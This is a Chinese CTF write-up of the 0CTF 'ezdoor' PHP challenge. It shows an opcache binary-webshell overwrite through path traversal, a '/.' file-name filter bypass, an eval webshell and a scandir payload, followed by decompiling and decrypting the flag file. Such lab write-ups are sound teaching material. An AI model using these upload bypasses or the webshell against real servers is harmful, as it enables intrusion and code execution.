今天闲来无事,准备总结一下0ctf的ezdoor这题,反正现在的web是不可能纯web了,怎么都得带着点bin,干脆就从这题开始我的webin之路吧(滑稽)
这次环境搭建就比较友好了
出题大哥已经公布源码了(默默给大哥打call)
https://github.com/LyleMi/My-CTF-Challenges
使用方式也很简单
git clone https://github.com/LyleMi/My-CTF-Challenges.git
然后到dockerfile的目录下
docker build -t 0ctf-ezdoor .
build完成后
docker run -dit -p 8585:80 --name 0ctf-ezdoor 0ctf-ezdoor
当然,如果Build处报错了,说不存在sandbox文件夹
可以在dockerfile里加一行
RUN mkdir /var/www/html/sandbox/
就可以解决啦
这次的环境搭建还算非常容易
然后访问
http://192.168.130.157:8585
即可看到题目
代码不多,我直接全部给出了
<?php error_reporting(0); $dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } if(!file_exists($dir . "index.php")){ touch($dir . "index.php"); } function clear($dir) { if(!is_dir($dir)){ unlink($dir); return; } foreach (scandir($dir) as $file) { if (in_array($file, [".", ".."])) { continue; } unlink($dir . $file); } rmdir($dir); } switch ($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'phpinfo': echo file_get_contents("phpinfo.txt"); break; case 'reset': clear($dir); break; case 'time': echo time(); break; case 'upload': if (!isset($_GET["name"]) || !isset($_FILES['file'])) { break; } if ($_FILES['file']['size'] > 100000) { clear($dir); break; } $name = $dir . $_GET["name"]; if (preg_match("/[^a-zA-Z0-9.//]/", $name) || stristr(pathinfo($name)["extension"], "h")) { break; } move_uploaded_file($_FILES['file']['tmp_name'], $name); $size = 0; foreach (scandir($dir) as $file) { if (in_array($file, [".", ".."])) { continue; } $size += filesize($dir . $file); } if ($size > 100000) { clear($dir); } break; case 'shell': ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag"); include $dir . "index.php"; break; default: highlight_file(__FILE__); break; }
先看前几行
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } if(!file_exists($dir . "index.php")){ touch($dir . "index.php"); }
程序会在sandbox下根据你的ip创建一个文件夹
然后再在刚刚创建的文件夹中创建index.php文件
接下来是一个功能
function clear($dir) { if(!is_dir($dir)){ unlink($dir); return; } foreach (scandir($dir) as $file) { if (in_array($file, [".", ".."])) { continue; } unlink($dir . $file); } rmdir($dir); }
即clear功能,简单来说
就是删除文件夹内内容
再删除文件夹
然后是一个switch选项
switch ($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'phpinfo': echo file_get_contents("phpinfo.txt"); break; case 'reset': clear($dir); break; case 'time': echo time(); break; case 'upload': if (!isset($_GET["name"]) || !isset($_FILES['file'])) { break; case 'shell': ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag"); include $dir . "index.php"; break; default: highlight_file(__FILE__); break; }
题目给出了6个选项:
1.打印你的路径 2.打印phpinfo信息 3.重置,即前面提到的clear功能,删除你的文件夹 4.时间,打印当前时间 5.上传,上传内容 6.shell包含,即包含你刚刚文件夹下的index.php文件
然后关于上传功能
if ($_FILES['file']['size'] > 100000) { clear($dir); break; } $name = $dir . $_GET["name"]; if (preg_match("/[^a-zA-Z0-9.//]/", $name) || stristr(pathinfo($name)["extension"], "h")) { break; } move_uploaded_file($_FILES['file']['tmp_name'], $name); $size = 0; foreach (scandir($dir) as $file) { if (in_array($file, [".", ".."])) { continue; } $size += filesize($dir . $file); } if ($size > 100000) { clear($dir); } break;
首先文件大小有限制,太大会触发clear功能清除文件夹
然后是对写入的文件名有限制,后缀中不可以出现h,这就意味着
php phtml phps...
等被过滤无法使用
然后利用move_uploaded_file移动文件
现在来看整个流程,不难读懂题目的意思
1.利用上传功能,覆盖index.php文件 2.利用shell包含功能,包含我们恶意覆盖的index.php文件 3.利用shell,根据flag文件路径进行读取
那么下面的思路就很明确了,如何覆盖index.php成为重中之重
既然题目给出了phpinfo,那么一定里面藏着一些提示
我们在浏览phpinfo的时候可以看见
opcache.enable => On => On
opcache服务是正常开启的,那么opcache是什么呢?
opcache是缓存文件,他的作用就类似于web项目中的静态文件的缓存, 比如我们加载一个网页, 浏览器会自动帮我们把jpg, css缓存起来, 唯独php没有缓存, 每次均需要open文件, 解析代码, 执行代码这一过程, 而opcache即可解决这个问题, 代码会被高速缓存起来, 提升访问速度。
那么为什么opcache可以导致我们进行文件覆盖呢?
我们设想A网站:
A网站的网页index.php具有缓存文件index.php.bin
而访问index.php的时候加载缓存index.php.bin
倘若这时候具有上传,我们可以覆盖index.php.bin
是不是就会加载我们的恶意文件了呢?
题目中虽然过滤php类型的结尾,但是却未过滤bin的结尾
既然想要伪造opcache文件,就必须了解其规则问题
观察phpinfo我们可以发现如下信息
opcache.file_cache => /tmp/cache => /tmp/cache
不难发现opcache文件是保存在/tmp/cache目录下的
然后通过测试,我发现,实际目录是
/tmp/cache/system_id/.....
比如我以这题为例
我如果访问 /var/www/html/index.php文
件
则会生成opcache文件于
/tmp/cache/97d778899a99fd6d6a4b0b9e628322f5/var/www/html/index.php.bin
所以我们现在的目的也很明确了
构造一个
/tmp/cache/[system_id]/var/www/html/sandbox/[ip_remote_addr]/index.php.bin
即可
然后上传覆盖题目当前的空白的index.php.bin
即可达到恶意缓存覆盖,加载我们的index.php的目的
第一个问题是如何生成与题目一致的system_id
这里有个工具可以帮到忙
https://github.com/GoSecure/php7-opcache-override
其中使用样例说的很细致
$ ./system_id_scraper.py info.html PHP version : 7.0.4-7ubuntu2 Zend Extension ID : API320151012,NTS Zend Bin ID : BIN_SIZEOF_CHAR48888 Assuming x86_64 architecture ------------ System ID : 81d80d78c6ef96b89afaadc7ffc5d7ea
即可生成system_id
这里我们去phpinfo搜集对应信息
PHP version : 7.0.28 Zend Extension ID : API320151012,NTS Zend Bin ID : BIN_SIZEOF_CHAR48888 Assuming x86_64 architecture ------------ System ID : 7badddeddbd076fe8352e80d8ddf3e73
然后利用脚本即可轻松得到system_id
生成方式也很简单
用一个同样配置,同样php版本的相同环境
然后在相同目录下放置我们想要的php内容
<?php echo '666'; ?>
然后去访问该文件,即可在opcache目录下获得对应的缓存文件
知道了方法,我们先去看一下当前路径
http://192.168.130.157:8585/?action=pwd
可以获得
sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/
然后我们去自己搭建的环境中创建相同文件夹
然后放入index.php,访问,即可获得相应的opcache文件,即
index.php.bin
这里还有一个问题,即opcache还有一个时间戳
在phpinfo里可以看见开启
opcache.validate_timestamps => On => On
相关的bypass方法,在这篇文章里已经有所提及
http://gosecure.net/2016/04/27/binary-webshell-through-opcache-in-php-7/
即获取到文件创建时的timestamp,然后写到cache的bin里面。
操作方法如下
import requests print requests.get('http://192.168.130.157:8585/index.php?action=time').content print requests.get('http://192.168.130.157:8585/index.php?action=reset').content print requests.get('http://192.168.130.157:8585/index.php?action=time').content
然后我们修改opcache文件 index.php.bin
的数据
system_id timestamps
两项,为我们之前预测出来的值即可
然后我们构造上传路径
../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/index.php.bin
然后构造html表单
<formaction="http://192.168.130.157:8585/index.php?action=upload&name=../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/index.php.bin"method="post"enctype="multipart/form-data"> <inputtype="file"name="file1"/> <inputtype="submit"/> </form> 上传后再访问
http://192.168.130.157:8585/index.php?action=shell
发现文件覆盖包含成功,页面打印666 ## 非预期解 ### './'bypass 首先什么是`/.` 这是一种bypass手法 例如
index.php/.
这样的文件名去绕过检测 我们不妨测试 ```php <?php $name = 'index.php'; if (preg_match("/[^a-zA-Z0-9.//]/", $name) || stristr(pathinfo($name)["extension"], "h")) { echo "fuck"; } ?>
此时运行打印fuck,而如果使用
index.php/.
则可以成功绕过
这里要从wonderkun师傅的博客说起
http://wonderkun.cc/index.html/?p=626
wonderkun师傅已经在文章中做了详细的阐述
其中php在文件路径处理上的底层关键代码函数tsrm_realpath()
i = len; // i的初始值为字符串的长度 while (i > start && !IS_SLASH(path[i-1])) { i--; // 把i定位到第一个/的后面 } if (i == len || (i == len - 1 && path[i] == '.')) { len = i - 1; // 删除路径中最后的 /. , 也就是 /path/test.php/. 会变为 /path/test.php is_dir = 1; continue; } else if (i == len - 2 && path[i] == '.' && path[i+1] == '.') { //删除路径结尾的 /.. is_dir = 1; if (link_is_dir) { *link_is_dir = 1; } if (i - 1 <= start) { return start ? start : len; } j = tsrm_realpath_r(path, start, i-1, ll, t, use_realpath, 1, NULL TSRMLS_CC); // 进行递归调用的时候,这里把strlen设置为了i-1,
php在做路径处理的时候,会递归的删除掉路径中存在的/.,所以会导致写入文件成功。
即导致
我们上传的文件名为
index.php/.
经过php的文件路径处理,我们不但bypass成功,上传的文件名依旧为
index.php
但是wonderkun师傅同时也在博客中提及
虽然 /.
可以bypass过滤上传成功,但是无法进行文件覆盖
关键原因师傅也提及的很明确了
这里同样摘录引用
1077 if (save && php_sys_lstat(path, &st) < 0) { 1078 if (use_realpath == CWD_REALPATH) { 1079 /* file not found */ 1080 return -1; 1081 } 1082 /* continue resolution anyway but don't save result in the cache */ 1083 save = 0; 1084 }
1120 if (save) { 1121 directory = S_ISDIR(st.st_mode); 1122 if (link_is_dir) { 1123 *link_is_dir = directory; 1124 } 1125 if (is_dir && !directory) { 1125 /* not a directory */ 1127 free_alloca(tmp, use_heap); 1128 return -1; 1129 } 1130 }
php_sys_lstat
是一个宏定义,其实是系统函数 lstat
,主要功能是获取文件的描述信息存入st结构体中,由于上面分析会删除掉路径中的 /.
,所以调用时传入的 path=/Users/wonderkun/script/php-src/sapi/cli/./index.php
当第一次执行时不存在index.php文件,函数 php_sys_lstat
返回-1,所以第1083行会被执行,重置save为0,所以1120-1130行都没有被执行。
当第二次执行,覆盖老文件的时候, /Users/wonderkun/script/php-src/sapi/cli/./index.php
已经是一个存在的文件了,所以 php_sys_lstat
返回0,st中存储的是一个文件的信息,save还是1,导致1120-1130行被执行。由于之前php认为 /Users/wonderkun/script/php-src/sapi/cli/./index.php/.
是一个目录(is_dir是1),现在有获取到 /Users/wonderkun/script/php-src/sapi/cli/./index.php
是一个文件,所以 is_dir && !directory
为true,函数返回了-1,得到的路径长度出错,所以无法覆盖老文件。
那么问题来了,虽然 index.php/.
可以成功上传并且Bypass过滤,但是无法覆盖已经存在的空白文件 index.php
这该怎么办呢?
当时比赛的时候,我使用的payload为
sky/../index.php/.
当时简单的认为应该是 move_uploaded_file()
遇到前面不存在的文件夹而存在问题导致不存在的文件夹
成为类似于跳板的东西,导致我们的
index.php/.
成功覆盖 index.php
而如果直接使用
/index.php/.
是不能够覆盖成功的,原因前面已经提及
但是后来看见pupiles师傅的一篇文章(下文已给出链接),发现 move_uploaded_file()
与 index.php/.
的成功覆盖并不是我想的那么容易,这还是要从底层说起:
关于 move_uploaded_file()
的底层实现的关键代码
if (VCWD_RENAME(path, new_path) == 0) { successful = 1; } else if (php_copy_file_ex(path, new_path, STREAM_DISABLE_OPEN_BASEDIR) == SUCCESS) { VCWD_UNLINK(path); successful = 1; }
这里并未使用之前提及的tsrm_realpath()函数,并且如果文件已经存在的话,就不会再打开文件,于是php_sys_lstat会返回0。
而当时我们覆盖失败的原因正是因为
/Users/wonderkun/script/php-src/sapi/cli/./index.php
已经是一个存在的文件了,所以 php_sys_lstat
返回0
但是如果这个时候我们如果使用
sky/../index.php/.
即带有不存在文件夹的路径
那么在判断时也就不会判定存在该文件,所以此时 php_sys_lstat
返回的是-1,最后也导致了成功的覆盖了文件
当然我这里也只是简单的概述,若想要深入探究,可以阅读这两篇文章
http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html
https://blog.zsxsoft.com/post/36
默默给两位大哥打call
所以最后我们简单使用payload
skysky/../index.php/.
然后构造表单
<formaction="http://192.168.130.157:8585/index.php?action=upload&name=skysky/../index.php/."method="post"enctype="multipart/form-data"> <inputtype="file"name="file1"/> <inputtype="submit"/> </form>
上传数据内容为
<?php echo '666'; ?>
上传后再访问
http://192.168.130.157:8585/index.php?action=shell
发现文件覆盖包含成功,页面打印666
index.php文件覆盖成功后,我们又遇到了新的问题
比如我们写如下shell
<?php @eval($_POST['sky']); ?>
会发现包含后完全不起作用
这时候意识到题目做了许多过滤
一些类似系统命令的指令都被禁止了
随后发现部分php函数还在
var_dump() scandir()
等
于是构造出Payload
<?php var_dump(scandir('/var/www/html/flag')); ?>
可以发现flag文件夹下的文件
93f4c28c0cf0b07dfd7012dca2cb868cc0228cad
本以为到此结束了,读取文件后发现竟然又是个opcache文件
故此我们顺利得到flag.php.bin
拿到题目后,首先发现opcache文件头有点问题,少了一个00
补上后继续利用工具
https://github.com/GoSecure/php7-opcache-override
进行反编译
首先按照库依赖
pip install construct==2.8.22 pip install treelib pip install termcolor
这里需要注意一下construct的版本,否则会报错
然后利用工具进行反编译,操作如下
./opcache_disassembler.py -c -a64 flag.php.bin
然后得到反编译后的文件
function encrypt() { #0 !0 = RECV(None, None); #1 !0 = RECV(None, None); #2 DO_FCALL_BY_NAME(None, 'mt_srand'); #3 SEND_VAL(1337, None); #4 (129)?(None, None); #5 ASSIGN(!0, ''); #6 (121)?(!0, None); #7 ASSIGN(None, None); #8 (121)?(!0, None); #9 ASSIGN(None, None); #10 ASSIGN(None, 0); #11 JMP(->-24, None); #12 DO_FCALL_BY_NAME(None, 'chr'); #13 DO_FCALL_BY_NAME(None, 'ord'); #14 FETCH_DIM_R(!0, None); #15 (117)?(None, None); #16 (129)?(None, None); #17 DO_FCALL_BY_NAME(None, 'ord'); #18 MOD(None, None); #19 FETCH_DIM_R(!0, None); #20 (117)?(None, None); #21 (129)?(None, None); #22 BW_XOR(None, None); #23 DO_FCALL_BY_NAME(None, 'mt_rand'); #24 SEND_VAL(0, None); #25 SEND_VAL(255, None); #26 (129)?(None, None); #27 BW_XOR(None, None); #28 SEND_VAL(None, None); #29 (129)?(None, None); #30 ASSIGN_CONCAT(!0, None); #31 PRE_INC(None, None); #32 IS_SMALLER(None, None); #33 JMPNZ(None, ->134217662); #34 DO_FCALL_BY_NAME(None, 'encode'); #35 (117)?(!0, None); #36 (130)?(None, None); #37 RETURN(None, None); } function encode() { #0 RECV(None, None); #1 ASSIGN(None, ''); #2 ASSIGN(None, 0); #3 JMP(->-81, None); #4 DO_FCALL_BY_NAME(None, 'dechex'); #5 DO_FCALL_BY_NAME(None, 'ord'); #6 FETCH_DIM_R(None, None); #7 (117)?(None, None); #8 (129)?(None, None); #9 (117)?(None, None); #10 (129)?(None, None); #11 ASSIGN(None, None); #12 (121)?(None, None); #13 IS_EQUAL(None, 1); #14 JMPZ(None, ->-94); #15 CONCAT('0', None); #16 ASSIGN_CONCAT(None, None); #17 JMP(->-96, None); #18 ASSIGN_CONCAT(None, None); #19 PRE_INC(None, None); #20 (121)?(None, None); #21 IS_SMALLER(None, None); #22 JMPNZ(None, ->134217612); #23 RETURN(None, None); } #0 ASSIGN(None, 'input_your_flag_here'); #1 DO_FCALL_BY_NAME(None, 'encrypt'); #2 SEND_VAL('this_is_a_very_secret_key', None); #3 (117)?(None, None); #4 (130)?(None, None); #5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab'); #6 JMPZ(None, ->-136); #7 ECHO('Congratulation! You got it!', None); #8 EXIT(None, None); #9 ECHO('Wrong Answer', None); #10 EXIT(None, None);
详细可以参考
OPCode详解及汇编与反汇编原理,链接如下:
https://blog.csdn.net/sqzxwq/article/details/47786345
这里就不一步一步逆向了。。。毕竟我还是个web选手
最后给出逆向后的官方代码
<?php function encode($string){ $hex=''; for ($i=0; $i < strlen($string); $i++){ $tmp = dechex(ord($string[$i])); if(strlen($tmp) == 1){ $hex .= "0" . $tmp; }else{ $hex .= $tmp; } } return $hex; } function encrypt($pwd, $data){ mt_srand(1337); $cipher = ""; $pwd_length = strlen($pwd); $data_length = strlen($data); for ($i = 0; $i < $data_length; $i++) { $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255)); } return encode($cipher); } $flag = "input_your_flag_here"; if(encrypt("this_is_a_very_secret_key", $flag) === "85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab") { echo "Congratulation! You got it!"; } else { echo "Wrong Answer"; } exit();
发现是个加密题
我们研读加密函数encrypt()
function encrypt($pwd, $data){ mt_srand(1337); $cipher = ""; $pwd_length = strlen($pwd); $data_length = strlen($data); for ($i = 0; $i < $data_length; $i++) { $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255)); } return encode($cipher); }
发现关键点有2个
1.mt_srand(1337) 2.xor加密
然后跟进encode()函数
function encode($string){ $hex=''; for ($i=0; $i < strlen($string); $i++){ $tmp = dechex(ord($string[$i])); if(strlen($tmp) == 1){ $hex .= "0" . $tmp; }else{ $hex .= $tmp; } } return $hex; }
发现只是用来保证16进制是2位的,比如
我们测试
function encode($string){ $hex=''; for ($i=0; $i < strlen($string); $i++){ $tmp = dechex(ord($string[$i])); var_dump($tmp); }
打印出来
string(2) "56" string(2) "3a" string(2) "c5" string(1) "9" string(2) "51"
可以看到第4个是”1”
所以需要在前面加个0,变成”01”
所以重点还是在于encrypt()函数
关注到之前的xor运算
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
这里的 $pwd
为
this_is_a_very_secret_key
而 $data
为我们想要的值
$cipher
我们知道xor运算是可逆的
比如
$cipher[$i] = chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
我们可以得到
chr(ord($data[$i]) = $cipher[$i] ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
故此可以拿到flag,所以只需要把密文当做明文,再进行一次encrypt()即可获得flag
我们测试
<?php function encode($string){ $hex=''; for ($i=0; $i < strlen($string); $i++){ $tmp = dechex(ord($string[$i])); if(strlen($tmp) == 1){ $hex .= "0" . $tmp; }else{ $hex .= $tmp; } } return $hex; } function encrypt($pwd, $data){ mt_srand(1337); $cipher = ""; $pwd_length = strlen($pwd); $data_length = strlen($data); for ($i = 0; $i < $data_length; $i++) { $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255)); } // return base64_encode($cipher); return encode($cipher); } $test = "flag{123456}"; echo encrypt("this_is_a_very_secret_key", $test);
得到密文
af8b20dc63d3349af9563a8f
我们尝试解密
<?php function encode($string){ $hex=''; for ($i=0; $i < strlen($string); $i++){ $tmp = dechex(ord($string[$i])); if(strlen($tmp) == 1){ $hex .= "0" . $tmp; }else{ $hex .= $tmp; } } return $hex; } function encrypt($pwd, $data){ mt_srand(1337); $cipher = ""; $pwd_length = strlen($pwd); $data_length = strlen($data); for ($i = 0; $i < $data_length; $i++) { $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255)); } // return base64_encode($cipher); return $cipher; } function hex2String($hex) { $string = ''; for($i=0;$i<strlen($hex)-1;$i+=2) { $string .= chr(hexdec($hex[$i].$hex[$i+1])); } return $string; } $res = hex2String('af8b20dc63d3349af9563a8f'); echo encrypt("this_is_a_very_secret_key", $res);
运行即可得到结果
flag{123456}
验证了解密思路无误后,开始解密题目
<?php function encode($string){ $hex=''; for ($i=0; $i < strlen($string); $i++){ $tmp = dechex(ord($string[$i])); if(strlen($tmp) == 1){ $hex .= "0" . $tmp; }else{ $hex .= $tmp; } } return $hex; } function encrypt($pwd, $data){ mt_srand(1337); $cipher = ""; $pwd_length = strlen($pwd); $data_length = strlen($data); for ($i = 0; $i < $data_length; $i++) { $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255)); } return $cipher; } $flag = '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab'; function hex2String($hex) { $string = ''; for($i=0;$i<strlen($hex)-1;$i+=2) { $string .= chr(hexdec($hex[$i].$hex[$i+1])); } return $string; } $res = hex2String($flag); echo encrypt("this_is_a_very_secret_key", $res);
结果发现结果得到的是乱码
后来题目给出提示
环境是php7.2,而我是php7.0
故此可能
mt_srand(1337);
种子产生影响而导致解密失败,于是安装php7.2
考虑到繁琐性,我这里使用docker
docker search php7.2
得到回显
skiychan/nginx-php7 nginx-php7.2 for docker
很明显这个还不错,我们选择拉取
docker pull skiychan/nginx-php7
然后运行
docker run -dit -p 11111:80 skiychan/nginx-php7
然后进入
docker exec -it 9279 /bin/bash
然后进入
/data/www
修改Index.php为
<?php function encode($string){ $hex=''; for ($i=0; $i < strlen($string); $i++){ $tmp = dechex(ord($string[$i])); if(strlen($tmp) == 1){ $hex .= "0" . $tmp; }else{ $hex .= $tmp; } } return $hex; } function encrypt($pwd, $data){ mt_srand(1337); $cipher = ""; $pwd_length = strlen($pwd); $data_length = strlen($data); for ($i = 0; $i < $data_length; $i++) { $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255)); } return $cipher; } $flag = '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab'; function hex2String($hex) { $string = ''; for($i=0;$i<strlen($hex)-1;$i+=2) { $string .= chr(hexdec($hex[$i].$hex[$i+1])); } return $string; } $res = hex2String($flag); echo encrypt("this_is_a_very_secret_key", $res);
访问
http://192.168.130.157:11111/
得到flag
flag{0pc4che_b4ckd00r_is_4_g0o6_ide4}
大概总结一下流程
1.上传文件覆盖index.php
2.包含文件拿shell
3.读flag.php.bin
4.进行反编译
5.获得crypto代码
6.解密得到flag
其中涉及非预期:
/.的绕过过滤的覆盖问题
再次膜分析底层的大佬们